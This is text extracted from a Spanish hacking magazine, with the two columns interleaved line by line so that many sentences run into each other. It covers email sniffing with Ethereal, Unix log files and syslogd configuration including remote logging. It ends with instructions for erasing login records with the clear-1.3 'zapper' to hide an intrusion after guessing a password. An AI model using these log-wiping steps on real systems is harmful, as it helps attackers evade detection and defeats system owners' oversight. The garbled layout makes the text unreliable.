{Internet} -> Servidor POP ->
{Internet} -> Router -> Access Point -
> Destino

Capturando con Ethereal (imagen 25)


podemos observar que únicamente
podemos cotillear las cabeceras del
correo, los comandos del servidor y poco
más, pero que el cuerpo del mensaje
aparece cifrado en forma de armadura
Imagen 25
PGP, y de ahí no podremos sacar nada.
que mantienen las conexiones entre los Ahora probaremos a enviar un correo Como veréis, hemos eliminado hasta la
nodos, pero muy posiblemente sea nulo. cifrado electrónico sin cifrar desde una zona muerta que cubría la conexión
Desde el servidor POPS hasta nosotros, cuenta que usa SMTPS hasta una cuenta entre los servidores de correo y que
la conexión viaja cifrada con SSL por lo con correo entrante POPS (ambos con h a s t a a h o ra n o h a b í a m o s p o d i d o
que podemos considerar que el correo SSL). El esquema de la conexión sería controlar por ningún medio. Además, al
está seguro. este: enviar correos cifrados con PGP, aunque
el destinatario utilice servidores sin
En la primera flecha, la conexión entre Origen -> Access Point -> Router -> conexiones seguras, el correo seguirá
el origen y el AP, es donde voy a capturar {Internet} -> Servidor SMTPS -> siendo ilegible.
el tráfico (imagen 23). Observando el {Internet} -> Servidor POPS ->
log generado por Ethereal encontramos {Internet} -> Router -> Access Point - ¿Existe alguna opción más segura? Sí,
cosas interesantes: > Destino cifrar correos con PGP y usar servidores
con conexiones SSL, de forma que ni
Comandos del servidor: EHLO Al capturar con Ethereal (imagen 24) t a n s i q u i e ra l a s c a b e c e ra s y l o s
[192.168.0.32] en el mismo punto que en el ejemplo comandos del servidor podrán ser vistos
anterior, podemos ver que solamente mediante sniffers.
Cabeceras del correo: User-Agent: capturamos un galimatías sin sentido.
Debian Thunderbird 1.0.2 Pero existe aún un punto flaco, en el Espero que estos inocentes ejemplos os
(X11/20050331) intervalo entre el servidor SMTPS y el hayan hecho pensar en la importancia
servidor POPS. De hecho, si el correo de utilizar los medios que están a
El propio cuerpo del correo: Probando fuera enviado a una cuenta que no nuestro alcance para aumentar nuestra
correo sin cifrar... utilizara SSL para recibir correo, el seguridad a la hora de utilizar las
esquema sería el siguiente: funcionalidades que las nuevas
Como vemos, el correo entero está "al tecnologías nos brindan.
desnudo" con este envío. Pero podría Origen -> Access Point -> Router ->
haber sido peor... por ejemplo si el {Internet} -> Servidor SMTPS -> Con esto terminamos el artículo de este
destinatario utilizara POP sin cifrado {Internet} -> Servidor POP -> número. Como siempre, si existen dudas
para la recepción del mensaje: y/o problemas con cualquier práctica o
{Internet} -> Router -> Access Point - elemento teórico, no tenéis más que
Origen -> Access Point -> Router -> > Destino hacernos una visita en el foro, donde
{Internet} -> Servidor SMTP -> os recibiremos encantados. Os espero
{Internet} -> Servidor POP -> Como vemos, SSL ofrece seguridad, en el próximo número, cuya temática...
{Internet} -> Router -> Access Point - pero solamente dentro de su es una sorpresa. :-P
> Destino "jurisdicción", es decir, que más allá de
la conexión entre cliente y servidor, la Ramiro C.G. (alias Death Master)
Lo que en la práctica significa una postal cosa queda a merced de los medios que
desde su origen a su destino. conecten los servidores.

24
Muy buenas, es la primera vez que escribo para la revista, espero que os guste y no quedéis
decepcionados :-). Si creéis que algo no está bien, veis alguna errata o tenéis alguna duda,
posteadla en el foro (http://www.hackxcrack.com), y se hará lo que se pueda :-p.

Este artículo es bastante teórico, siento que sea así, pero es que la teoría es necesaria para
luego saber aplicarla a la práctica, el borrado/edición de “huellas” :-). Aun así espero que sea
lo más ameno posible ;)

Como partimos desde cero, voy a empezar explicando lo más básico... Si ya sabes lo que son
los logs y donde se guardan, sáltate este apartado. Si ya crees saberlo todo sobre los logs,
pasa al siguiente artículo! :P

día la página apareció “defaceada”. Gracias a los logs que


me permitía ver mi hosting, para ser más concretos los
Bien, supongo que la mayoría ya lo sabréis, o habréis oído de Apache (access.log) pude averiguar la IP del juanker
hablar de ellos, pero siguiendo la filosofía de la revista (no, El_JuanKer no fue :D) que nos había fastidiado, que
vamos a explicarlo todo paso a paso. resultó ser uno de otro clan. No pudimos hacer nada
legalmente, pero bueno :P. Esto no deja de ser una
Los ficheros log se encargan de registrar los eventos que anécdota, pero es para que veáis que los logs sí que tienen
ocurren en el sistema, aplicaciones incluidas. ¿Qué eventos? su utilidad, incluso para los que no son administradores
Pueden ser accesos al sistema, mensajes de información de sistemas.
del kernel, el tráfico capturado por un sniffer e incluso los
famosos logs del IRC, TODO esto son ficheros log, o en Para los SysAdmins es obligatorio revisar los logs! Si
cristiano, ficheros de registro. Normalmente “ficheros log” eres SysAdmin y no revisas los logs... tirón de orejas y
lo solemos recortar a simplemente “logs”, así que de aquí a partir de ahora a revisarlos!
en adelante me referiré a ellos como logs ;)
Ficheros logs hay de dos tipos, los de texto plano y los
El usuario doméstico suele pensar que los logs no tienen binarios, que dependen de aplicaciones externas para
ninguna utilidad, o que para qué los van a revisar si a él ver la información que contienen.
no le van a hackear... O simplemente no sabe de su
e x i s t e n c i a . . . B i e n , y o n o s o y n i n g ú n Sy s A d m i n
(Administrador de Sistemas) pero en alguna ocasión me
han solucionado más de un problema. Hace algún tiempo En general, se pueden guardar donde el usuario
teníamos una página de un clan del Age of Empires, con quiera, excepto algunas aplicaciones que los guarda
PHP-Nuke instalado, había “pique” entre clanes y un buen donde a ella le da la gana, pero casi siempre nos dejarán

25
/var/log/daemon.log: Contiene los
logs de los demonios que se cargan en
el sistema.
/var/log/mail.log: En caso de tener
un servidor SMTP en el equipo, nos
muestra información de todos los
mensajes que entran y salen de nuestro
servidor.

/var/log/boot.log: Contiene los


mensajes de arranque del sistema.

/var/log/loginlog: Este fichero log


contiene los registros de intentos de
login fallidos. Solo se registran si se
han realizado 5 o más intentos fallidos,
aunque esto se puede cambiar en el
Captura del contenido del directorio /var/log de mi Ubuntu. Figura 1 archivo /etc/default/login en la entrada
RETRIES, modificando el número que
elegir la ruta donde guardar los logs. general, si alguno no aparece no te salga por el que queráis.
Por ejemplo, en el snort añadimos el preocupes, sigue leyendo ;)
parámetro “-l /ruta/de/logueo” al /var/log/sulog: Contiene información
ejecutarlo y lo guardará en la ruta que Los he dividido en ficheros log de texto acerca de las ejecuciones de la orden
le hayamos indicado, o también hay plano y binarios: su. Indica la fecha, la hora, el usuario
algunos programas que en la compilación que lanza el comando su y el login que
se puede especificar la ruta de los logs. adopta, la terminal asociada y si se ha
El demonio Syslogd también maneja las realizado con éxito (+) o fracaso (-).
rutas de logueo, pero esto lo veremos /var/log/syslog: En este fichero log En algunas distros Linux es necesario
más adelante, en el apartado de se almacenan todos los logs por defecto. editar el fichero /etc/login.defs y marcar
Syslogd. En teoría es el más importante, aquí que sí queremos loguear los registros
estará TODO lo que busquemos, si no de “su”.
Como hemos dicho en este último está en ningún otro fichero log estará
párrafo, los logs se pueden guardar aquí... Pero esto lo podemos cambiar, $HOME/.bash_history: Mmm... este
donde el usuario quiera, pero en el apartado de syslogd lo veremos. log se suele pasar por alto, pero puede
normalmente se usa un directorio tener información sensible, lo que
/var/log/messages: Contiene
“estándar” para guardarlos, el /var/log. contiene este fichero es un historial de
mensajes del sistema, no es un log
Dentro de este directorio suelen estar todos los comandos que hemos
“alerta”, es más bien informativo. Puede
todos los logs del sistema por defecto. ejecutado en la shell BASH... El $HOME
venir bien para arreglar posibles
Algunas distros de GNU/LiNUX usan otro quiere decir que está en la carpeta home
problemas en el sistema.
directorio, el /var/adm, y no me d e l u s u a r i o, e n m i c a s o e s t á e n
preguntéis porque :P.(figura 1) /home/ivan/.bash_history.
/var/log/secure: En este fichero están
los logs de todas las conexiones que se
$HOME/.mysql_history: Este también
realizan hacia nuestra máquina.
es muy peligroso, solo si está instalado
/var/log/auth.log: Contiene el el cliente MySQL encontraremos este
registro de todas las autentificaciones fichero log. Contiene todas las órdenes
en el sistema, tanto las “buenas” como introducidas en el cliente mysql, por
Ahora vamos a entrar en materia ya... las fallidas. ejemplo, si introducís una orden para
Vamos a ver los archivos log más cambiar la contraseña de root de MySQL,
comunes de GNU/Linux y UniX en /var/log/debug: Aquí es donde se aquí quedará grabada esa órden... Lo
general, junto a una breve descripción. almacena la información de depuración del $HOME es igual que en el log
de los programas que ejecutamos en el anterior.
Puede que algunos de los logs que sistema. Esta información la envía el
nombro no aparezcan en vuestra distro... núcleo del sistema (Kernel) o bien los
al menos por defecto. Ahí ya no me propios programas.
puedo meter, cada distro es un mundo, /var/log/wtmp: Almacena toda la
voy a nombrar los que son más “vistos” /var/log/kern.log: Aquí están los información de conexiones y desco-
en la mayoría de distros y Unix en mensajes que vienen del kernel. nexiones al sistema.

26
La estructura de este fichero es utmp. enorme y eso no es muy recomendable Resumiendo, Syslogd es el demonio
Contiene información como el nombre :P. encargado de loguear los eventos que
de usuario, por donde accede, el origen ocurren en nuestro sistema.
y la hora de acceso. Al ser un fichero Para ver los logs es necesario ejecutar
binario, para verlo se necesita un el comando lastcomm o acctomm. Syslog tiene otro demonio más aparte
programa externo, en este caso, se tiene Ahora vamos a ver una de las partes de syslogd, el klogd. De momento no
que ejecutar el comando last. más importantes de los logs de lo vamos a tocar, con saber que es el
GNU/Linux y UniX, del que seguro demonio que se encarga exclusivamente
/var/log/utmp: Contiene información habréis oído hablar, sí, me estoy de los mensajes del kernel nos basta,
de todos los usuarios conectados. No refiriendo al demonio syslogd :-p. de todas formas, man klogd :P
incluye los usuarios que están
conectados a servicios como FTP, IMAP, Bien, espero que haya quedado claro lo
etc. La razón es que estos servicios no que es Syslogd y syslog, ahora vamos
utilizan utmp para loguear. a lo “fuerte”, vamos a ver la configura-
¿Qué es Syslogd? Syslogd es el demonio ción del demonio Syslogd...
Como en el caso anterior y en todos los de Syslog. Ahm... y ¿qué es Syslog?
binarios, para verlo es necesario teclear Syslog es un estándar de facto para
el comando w o who, que dará una controlar, redireccionar y administrar
salida con los logins de los usuarios mensajes log en una red TCP/IP. El
conectados, la terminal por la que se término “Syslog” se utiliza indistin- Bien, el demonio Syslogd se configura
han conectado, la fecha y la hora. tamente tanto para el protocolo syslog a través de reglas, como iptables,
como para la librería o aplicación snort... pero de diferente manera claro
/var/log/lastlog: Contiene la fecha y encargada del envío de los mensajes. ;) Y ¿Dónde se colocan estas reglas?
la hora de la última conexión de cada Syslog se suele usar para la auditoria Pues en su archivo de configuración,
usuario existente en el sistema. Si un y administración de sistemas. que está por defecto en /etc/syslog.conf.
usuario nunca se ha logueado, en vez Vamos a coger nuestro editor/visua-
de salir la fecha y la hora de la última El protocolo syslog es muy simple, el lizador de texto plano preferido y vamos
conexión saldrá el mensaje “**Nunca emisor de syslog envía mensajes de a abrir el fichero de configuración, para
ha entrado**”. El visor para ver la texto cortos al receptor de syslog. El ver su aspecto. Que, acojona eh?
información de este log es el comando receptor es el antes mencionado Haceros una idea de lo que nos espera...
lastlog. “Syslogd”, nótese la “d” del final que muahahaha! Es broma, es sencillito,
significa daemon (demonio). Estos igual al principio cuesta pero no es nada
/var/log/faillog: Contiene los intentos mensajes son enviados a través del :)(figura 2)
de login fallidos que se han hecho en el protocolo de transporte UDP (ya se ha
sistema. Es muy parecido al anterior, hablado de UDP en la revista en los Como vemos en el syslog.conf hay
pero en vez de mostrar los últimos excelentes artículos de PyC :)) en texto bastantes reglas predefinidas y
accesos, muestra los intentos de login plano. comentarios (las líneas que empiezan
fallidos. El visor para verlo es el comando
faillog.
Mi archivo /etc/syslog.conf Figura 2
acct (o pacct): Registra los comandos
ejecutados por todos los usuarios.
Solamente los comandos, los
a r g u m e n t o s n o. F u n c i o n a s i e s t á
activado el proceso “Accounting”, que
se activa mediante el comando accton,
y es necesario tenerlo instalado, aunque
en algunas distros ya viene por defecto.
Si no lo tenemos instalado ya sabéis,
“apt-get install acct && accton” y si
no usáis Debian o alguna basada en
ésta buscáis el .tar.gz y lo instaláis. Este
log es bastante eficaz, por ejemplo
aunque el 'atacante' pare el proceso
acct, en el log aparecerá el comando
ejecutado por el atacante para pararlo.
El único inconveniente es que si usamos
bastante la máquina el log se hará

27
por #). Lógicamente lo que a nosotros syslog: Los logs generados máxima, ya, ya se que no era difícil de
nos interesa son las reglas :P. Vemos internamente por el demonio syslogd. adivinar :P
que todas las reglas tienen el mismo
lpr: Logs procedentes de la/s Aquí tienes un esquema que nos servirá
formato, dos campos separados por una
impresora/s. para tener todo esto más claro por si
o varias tabulaciones. El primer campo
no lo has entendido con tanto palabro,
se llama selector y el segundo campo
news: Logs del sistema de noticias, también nos servirá como referencia
acción.
en caso de tener un servidor de news durante un buen rato, así que no lo
instalado. pierdas de vista :)(figura 3)
El selector a su vez consta de las
facilities y las priorities, separadas uucp: Logs generados por el sistema
por un punto. Jarrrllll... las faciqueee?? UUCP. UUCP viene de Unix to Unix Copy,
Lo que vemos a la izquierda son los
Prioriqueee??? Que me estás contando... uno de los protocolos más antiguos y
selectores. Dentro de los selectores, en
Tranquil@, ahora verás :P que originalmente se utilizaba para
azul tenemos las facilities, en rojo las
copiar archivos entre sistemas UniX,
priorities, y en amarillo los caracteres
La acción, como su nombre indica, es pero lo poco que se utiliza actualmente
especiales, que ahora explicaré. Si has
la acción a tomar cuando se cumple el e s p a ra e nv i a r y r e c i b i r c o r r e o s
entendido todo lo explicado y eres buen
selector. Normalmente la acción es la electrónicos y noticias.
observador verás que en casi todas las
ruta de un archivo log, pero también se
cron: Logs generados por el demonio reglas hay 2 o más facilities, y en
puede enviar a los usuarios, a la
CRON. Cron es el encargado de la algunas dos priorities... Bueno, en los
impresora, a otro host... Un poco más
programación de tareas periódicas, como selectores se pueden concatenar las
adelante veremos esto ;)
el comando AT de Windows. facilities y las priorities en una misma
Ahora sí, vamos a ver que es eso de las línea, si queremos por ejemplo que dos
Priorities: facilities con priorities diferentes se
facilities y las priorities, o en cristiano:
Las facilidades o servicios y las envíen a un mismo fichero log no
debug: Logs de depuración de un
prioridades, lo he puesto en inglés tenemos más que concatenarlos con un
programa.
porque queda más l33t... jajaja no punto y coma (carácter especial), como
hombre, lo he puesto en inglés porque info: Logs informativos. la primera línea. En la segunda línea
es como se les suele llamar :P vemos dos facilities pero no están
notice: Logs de sucesos significativos separadas por punto y coma, si no por
pero normales. una coma simple (otro carácter
Las facilities procuran identificar el
programa que originó el/los mensaje/s especial), esto indica que para los dos
warn o warning: Logs de adver-
log. se usará la misma prioridad, ahora lo
tencia, como el propio nombre indica
veremos más detalladamente.
:P
Las priorities clasifican el nivel de
Un apunte importante... cuando se
importancia del mensaje log.
err: Logs de error. especifica una prioridad estamos
diciendo “esa prioridad y sus
En el fichero de configuración vemos
crit: Logs que indican situaciones i n f e r i o r e s ”, p o r e j e m p l o , s i
que aparecen muchas palabras “raras”
críticas. especificamos la prioridad notice
:P Esas palabras son los tipos de facilities
registrará también los mensajes con
y de priorities, vamos a verlos todos
alert: Logs de alerta. Si nos prioridad debug e info, así con todos.
con una breve explicación:
encontramos con uno de estos, es muy Si queremos evitar esto, debemos usar
importante hacer algo rápido, si no... el carácter especial igual (=), como
Facilities:
Ya sabes... xD veremos en el próximo apartado.
kern: Estos son los logs procedentes
del kernel. emerg: El sistema se ha vuelto
inoperable, vamos que la hemos liao. Los caracteres especiales nos permiten
user: Son los logs generados por aprovechar más la estructura de
procesos aleatorios del usuario. Están ordenados de menor a mayor lasreglas, vamos a ver los tipos de
prioridad, debug es la prioridad mínima caracteres especiales que hay, su función
mail: Logs del sistema de correo, en mientras que emerg es la prioridad y algún ejemplo.
caso de tener un servidor instalado.
mail.warn;news.warn;auth.* /var/log/messages
daemon: Logs procedentes de los
kern,mail.warning -/var/log/kern_mail.log
demonios del sistema.
kern,mail.=warning -/var/log/kern_mail_warn.log
kern.err;kern.!=warning /var/log/kern_warn_negado.log
authpriv y auth (éste último en
*.alert /var/log/alerts.log
desuso): Logs de seguridad y del
sistema de autorizaciones. Figura 3 – Esquema 1

28
El asterisco (*): El asterisco se em- con prioridad warning y solamente A un fichero log de texto plano:
plea como “comodín”. Cuando aparece warning! :P Nada de priorities infe- Sobran las palabras creo, no? :) Lo que
un asterisco quiere decir que se refiere riores... hemos estado viendo todo el rato :)
a todas las facilities o todas las priorities
A una terminal o a la consola:
dependiendo de la posición en la que El signo de exclamación (!): Con
Syslogd nos ofrece la posibilidad de
aparezca. Como ejemplo vamos a la el ! delante de la prioridad indicamos
enviar los logs directamente a una
figura 3 y vemos que la primera línea que queremos exceptuar esa prioridad
terminal o a la consola con la que
tiene el asterisco al final. Como está y sus inferiores. Lo podemos combinar
estamos trabajando, de forma que
detrás del punto que separa las facilities con el igual, de tal forma que quede
podríamos ver los logs “in situ”. La
de las priorities, sabemos que ese “!=”, con esta combinación lo que
verdad es que fastidia un poco que te
asterisco hace de comodín para las hacemos es exceptuar esa prioridad
lleguen mensajitos mientras estás
priorities, es decir lo que hacemos con pero no sus inferiores. Como ejemplo,
listando los archivos de tu home por
ese comodín es indicar “Todas las en la cuarta línea del esquema 1 vemos
ejemplo... pero seguro que los ves! :P.
priorities”. En la última línea de la misma como con la combinación de estos
En la segunda y tercera línea del
figura vemos también como aparece caracteres especiales decimos que se
esquema 2 vemos un ejemplo de esto,
otro asterisco, pero esta vez delante logueen los mensajes del kernel con
la regla de la línea 2 envía los logs a la
del punto, por lo que indica “Todas las prioridad info e inferiores pero que no
terminal 2 (tty), y la regla de la línea
facilities”. Explicar esto es un poco se registren los que tengan prioridad
3 los envía a la consola con la que
engorroso, pero una vez lo pillas es de warning exclusivamente, ya que lleva
estamos trabajando (/dev/console).
lo más útil, ya que el asterisco como el símbolo “=” combinado con “!”.
A un usuario (o a todos): Esto es
comodín no solo se utiliza aquí, seguro
simple, se especifica solo el usuario o
que en la línea de comandos lo has
los usuarios a los que queremos enviarle
utilizado más de una vez para referirte
los logs y se le mostrará en la consola.
a un archivo cuando no sabes su nombre Siguiendo el esquema 1, vemos a la
Si queremos enviar los logs a todos los
completo :P derecha el campo acción, separado por
usuarios, lo hacemos con el asterisco
tabulaciones del campo selector. El
El punto y coma (;): Como dije “*”. En el ejemplo del esquema vemos
campo acción tiene en verde la acción
antes, este carácter especial se utiliza en la línea 4 como envía todos los logs
a hacer en caso de que se cumpla el
para concatenar varias del kernel con prioridad crítica a los
selector y en algunas reglas tiene un
facilities+priorities en una misma línea. usuarios “root” e “ivan”. En la línea 5
guión (-), color turquesa. Este guión
Ejemplo: La primera línea del esquema vemos como envía todos los logs con
indica que no se sincroniza cada vez
1 aparecen 3 facilities y 3 priorities prioridad emerg a todos los usuarios.
que existe una entrada en ese log, así
(recuerda que el asterisco del final es
que si el sistema se cae podemos perder A la impresora: Si activamos el modo
comodín ;)), como vemos están
datos. La ventaja que conseguimos con paranoico podemos enviar los logs
concatenadas mediante un punto y
esto es una mejora en la velocidad, directamente a la impresora, esto en
coma. Como ya dije, la utilidad de
sobre todo si hay muchas aplicaciones mi opinión es un poco paranoico, pero
concatenar varias facilities y priorities
enviando logs a Syslogd. por seguridad que no falte :P. Es similar
es la de dirigirlas a un mismo destino,
a enviarlos a una terminal, pero a la
en este caso a un mismo archivo.
Voy a poner un nuevo esquema, con impresora. En la sexta línea del esquema
La coma (,): La coma sirve para
acciones que no hemos visto hasta 2 vemos como todos los logs con
especificar a múltiples facilities una
ahora:(figura 4) prioridad warn e inferiores se envían al
misma prioridad. En la segunda línea
dispositivo /dev/lp1, que viene a ser la
del esquema 1 vemos como hay dos
Antes dije que la acción normalmente impresora.
facilities separadas por una coma y
era la ruta a un archivo log, pero como
detrás del punto la prioridad de esos A otro programa a través de un
también dije no siempre es así, podemos
dos facilities. fichero FIFO (tubería con nombre):
enviarlo a otros medios, a continuación
Podemos enviar los logs a otro programa
El espacio ( ): El espacio indica que veremos todos los medios junto a una
a través de un fichero FIFO (First In
no hay priorities definidas para las breve explicación de como hacerlo y un
First Out, lo Primero que Entra es lo
facilities. ejemplo (como no :P):

El igual (=): Con el = delante de una


kern,mail.info /var/log/messages
prioridad indicamos que solo se
auth.* /dev/tty2
almacenen los mensajes con una
kern.crit /dev/console
prioridad determinada, no incluyendo
*.=alert root, ivan
sus inferiores. En la tercera línea del
*.=emerg *
esquema 1 vemos el carácter especial
*.warn /dev/lp1
“=” delante de la prioridad, lo que
*.info @nombre.del.host.remoto
estamos diciendo es que se almacén los
mensajes de las facilities kern y mail Figura 4 – Esquema 2

29
mkdir /var/log/pipes #creamos el directorio pipes en /var/log
mkfifo -m 600 /var/log/pipes/autentificaciones #creamos un archivo FIFO llamado autentificaciones con chmod 600
mkfifo -600 /var/log/pipes/todo #ídem del anterior, pero llamado “todo”

Listado 1
seguido todos los pasos exactamente
auth.* |/var/log/pipes/autentificaciones como he descrito saldrá bien. Podemos
*.* |/var/log/pipes/todo hacer dos cosas, reiniciar el SO para que
el mismo levante los servicios, o
Listado 2 levantarlos nosotros y no reiniciar... Si
#!/bin/bash habéis elegido esto último, aquí los pasos
/usr/bin/logcolorise.pl /var/log/pipes/todo >/dev/tty3& para hacerlo (como root):

Listado 3 Miramos el PID de syslogd (ps aux | grep


syslogd), matamos el proceso (kill PID) y
Primero que Sale), también llamado Ahora editamos el fichero de confi- volvemos a ejecutar syslogd, esto lo
tubería con nombre o fichero de tipo guración /etc/syslog.conf y creamos las hacemos para que syslogd cargue las
PIPE. Los ficheros FIFO son bastante reglas para que nos envíe los logs a los nuevas reglas que hemos añadido.
comunes en sistemas UniX, la función archivos FIFO que hemos creado, esto Después ejecutamos el script /etc/init.d/
de estos ficheros es actuar de lo hacemos poniendo el símbolo de pipe logsdecolores y ya lo tenemos todo prepa-
intermediario entre dos programas, un ( I ) antes de la ruta del archivo FIFO. rado, ahora abrimos una consola y nos
programa envía los datos al fichero FIFO El carácter “|” se pone con Altgr+1(ver logueamos y deslogueamos varias veces
y éste los almacena temporalmente, listado 2). como root, metemos la password mal
para poder ser recogidos después por adrede... y por fin, vamos a la terminal
Con estas reglas estamos diciendo que tty3 (Ctrl+Alt+F3) y... Ohh! Se ven los
un segundo programa. Por ejemplo, la
envíe los logs de la facility auth con logs coloridos!!! Si volvemos al entorno
salida de un programa servirá de entrada
todas las prioridades al archivo FIFO gráfico (Ctrl+Alt+F7), volvemos a
de otro programa. Cabe destacar de los
situado en /var/log/pipes loguearnos y a desloguearnos unas cuantas
ficheros FIFO que los datos que le llegan
/autentificaciones, y que los logs que veces y vamos a la terminal tty3, veremos
no se guardan en el disco duro, si no
vengan de todas las facilities con todas que aparecen los nuevos logs, esto es
en un buffer, cuando el segundo
las prioridades (todos los logs) los envíe gracias a que logcolorise.pl está ejecutado
programa recoge los datos se vacía ese
al archivo FIFO /var/log/pipes/todo. en el background a la espera de que entren
buffer y sigue a la espera de nuevos
datos. En nuestro caso lo que hacemos nuevos logs al fichero FIFO
Ahora haremos un script de inicio para
es enviar los logs a un archivo FIFO /var/log/pipes/todo para recogerlos e
que se ejecute al arrancar el SO, con
para que otro programa externo pueda imprimirlos en la terminal:).
una órden que hará que logcolorise.pl
recogerlos y tratar con ellos. Para aclarar
lea los logs del archivo FIFO Espero que esto se haya entendido, es
esto un poco, vamos a ver
/var/log/pipes/todo y lo imprima en la muy importante, si no lo habéis enten-
logcolorise.pl, un script en Perl que
terminal tty3 todo colorido :). Supongo dido a la primera volverlo a leer, si aun
recogerá los logs de un PIPE y los
que ya sabréis como hacer scripts de no lo acabas de entender, no dudes en
redirigirá a una terminal, pero con un
inicio... No? Joe... Bueno, lo explico preguntarlo en el foro, que yo o quien
cambio, formateará los logs y saldrán
para sistemas Debian o basados en él, sepa te responderá gustosamente :) La
de colores, para que sean más legibles
si usáis otra distro buscáis por el foro url del foro es: http://www. hackxcrack.
y más bonitos :P.
como hacerlo o en google ;). Primero com/phpBB2/index.php.
Lo primero que tenemos que hacer es creamos el bash-script en /etc/init.d/ A otro host: Esta es de las mejores
bajarnos el script logcolorise.pl, su con el nombre “logsdecolores” :P El opciones. Los logs se pueden enviar a otro
web oficial no va, yo lo he bajado de la archivo contendrá:(ver listado 3) host, esto nos da la gran ventaja de que
primera url que me ha salido en google, si comprometen el servidor, los logs no
Supongo que lo entenderéis, porque en
http://linuxbrit.co.uk/downloads/logc estarán almacenados en él, si no en otro
el párrafo anterior he dicho lo que
olorise.pl. Lo descargáis con wget en host destinado exclusi-vamente al
hacía... Venga, guardamos el bash-script
/usr/bin, y le dais permisos de ejecución almacenamiento de logs, aunque esto no
y le damos permisos de ejecución con
con chmod +x /usr/bin/logcolorise.pl. tiene porque ser así, pero es lo ideal para
“chmod +x /etc/init.d/logsdecolores”.
Ahora seguimos los pasos que muestro la seguridad, ya que el atacante tendría
Después ejecutamos la órden “update-
a continuación, siempre como root. He que compro-meter también el host que
rc.d logsdecolores defaults” y si no da
puesto un comentario en cada órden almacena los logs, que podría ser un
ningún error ya tenemos el script para
para explicar que es lo que hace cada equipo con los mínimos servicios corriendo,
que se ejecute al inicio del SO.
una, empieza por una almohadilla y está una buena política de seguridad y un buen
en color turquesa, eso no lo copiéis!(ver firewall, vamos que sería difícil hackearlo
Ahora toca probar el sistema, si has
listado 1) ;)

30
Para que el host remoto pueda recibir
los logs tiene que ejecutar syslogd con
la opción “-r”. También hay que tener
en cuenta que para recibir los logs tiene
que aceptar todo lo que entre por el
puerto 514 de UDP, así que a configurar
los firewalls toca!

También hay que configurar los dos syslogd


para procesar bien los logs y que vayan
a donde tienen que ir. En el servidor
tenemos que redirigir los logs al host
encargado de almacenar los logs, para Contenido del fichero /var/log/autentificaciones_web Figura 5
hacer esto creamos una regla cualquiera
pero en el campo acción ponemos una
arroba (@) y el nombre del host remoto,
previamente definido en /etc/hosts para
más seguridad. En el host remoto tenemos
que crear las reglas para que actúe
consecuentemente, creamos la misma
regla que en el servidor pero en el campo
acción ponemos el destino que se nos
antoje, a una terminal, a un archivo log...
Vamos a hacer una práctica para que
quede más claro.
Paquetes de Syslogd capturados con Ethereal Figura 6
Tenemos un servidor de páginas web
Ya tenemos los dos syslogd configu- si es conmutada (número 11 de la
llamado WebServer. También tenemos
rados, ahora falta reiniciar syslogd, pero revista, artículo de ARP-Spoofing de
un host encargado de almacenar los
en el host remoto lo iniciaremos con la moebius)... ¿Hay alguna manera de
logs de WebServer, este host se llama
opción “-r”. Como root, en el WebServer evitar esto? Pues sí, una solución podría
Logger y tiene la IP 192.168.0.3.
buscamos el PID de syslogd como antes ser unir estos dos equipos con dos
En el WEBSERVER, editamos el fichero dije que se hacía, lo matamos y tarjetas de red aparte y cable cruzado,
/etc/hosts y añadimos al final la IP del volvemos a ejecutar “syslogd”. En el y la otra podría ser cifrando los
Logger que es 192.168.0.3 y el nombre, host Logger lo mismo, pero lo paquetes, ¿Cómo? Con una combinación
que viene a ser “Logger”, guardamos, ejecutamos con “syslogd -r”. Y ya está!! de lo que hemos visto en el apartado
salimos del editor y le hacemos un ping Ahora en el WebServer hacemos un par anterior (archivos FIFO) + SSH... Pero
a Logger para ver si lo hemos hecho bien, de logins fallidos y no fallidos, vamos no me quiero extender más con esto,
“ping -c 2 Logger”. Ahora editamos el al Logger y le hacemos un cat al fichero así que si estáis interesados, a google!
fichero /etc/syslog.conf y creamos una /var/log/auten tificaciones_webserver
nueva regla, por ejemplo una que envíe y ohh! Salen las autentificaciones,
todos los logs de facility auth y todas las indicando que proviene de la IP del
prioridades al equipo Logger. Quedaría así WebServer.
el /etc/syslog.conf:(ver listado 4) Podemos enviar mensajes a Syslogd con
Pero, ¿qué pasa si en el host Logger el programa logger, puede servir si
nos autentificamos, también se
[...]
tenemos un shellscript y queremos que
logueará? Pues si, pero en lugar de
auth.* @Logger guarde logs, o si queremos hacer el
poner la IP del WebServer pondrá el tonto un rato y simular un ataque... lo
Listado 4 nombre de la máquina local:(ver figura que se os ocurra! Los logs actuarán
Bien, ahora vamos al host Logger y 5) según las reglas de syslogd. La sintaxis
editamos también el fichero /etc/ para enviar un mensaje desde una
Una cosa interesante también es que si
syslog.conf para que envíe todo lo que determinada facility y con una prioridad
ponemos un sniffer a la escucha, cuando
venga de auth.* al fichero /var/log/auten es: “logger -p facility.priority “Mensaje””.
hagamos logins veremos los paquetes
tificaciones_webserver. Quedaría así:(ver
que el WebServer manda al Logger
listado 5) Esto aparte de por si queremos que un
:)(ver figura 6)
shellscript pueda loguear, no le veo
[...] Esto da para algunas preguntas... ¿No mucha más utilidad, pero bueno seguro
auth.* /var/log/autentificaciones_webserver se podrían “interceptar” los paquetes? que vuestra imaginación es mejor que
Si, tanto si la red es compartida como la mía :).
Listado 5

31
C o n e s t o ya h e m o s a c a b a d o c o n llamada clear-1.3 con un Makefile, un varias veces, mejor utilizar el clear13a
Syslogd... ya era hora eh! Nada, ahora README y dos archivos C (clear13a.c y de golpe y ya está. Otro ejemplo de uso
vamos a ver lo que supongo que estaréis clear13b.c). Tenemos que compilarlos, de clear13b sería si el usuario ya existía,
esperando... la edición y el borrado de p e r o a n t e s va m o s a h a c e r u n a s hemos adivinado la pass y hemos
logs! pequeñas modificaciones a los archivos entrado con ese usuario, borramos solo
C poniendo la ruta correcta de nuestros el último log para no levantar sospechas
archivos log. Para esto editamos primero dejando los anteriores como estaban.
el fichero clear13a.c y las constantes La sintaxis es muy sencilla, simplemente
WTMP_NAME, UTMP_NAME y ./clear13[ab] nombre_de_usuario,
LASTLOG_NAME las cambiamos a la ruta siendo [ab] el clear13a o el clear13b,
Realmente esto no tiene mucho misterio, donde tenemos los logs en nuestro lo dicho anteriormente.
ya que tenemos muchas herramientas sistema, normalmente /var/log (para
que nos facilitan la tarea de editar y wtmp y lastlog) y /var/run/utmp (para Ejemplos:
borrar los logs, estas herramientas se utmp). Nos quedaría así:(ver figura ./clear13b hackxcrack -> Borrará la
llaman “zappers”. 7). última entrada del usuario hackxcrack.

Cuando los logs son de texto plano lo Guardamos y cerramos. Con el ./clear13a hackxcrack -> Borrará todas
podemos hacer nosotros mismos, con clear13b.c hacemos lo mismo. Después las entradas del usuario hackxcrack.
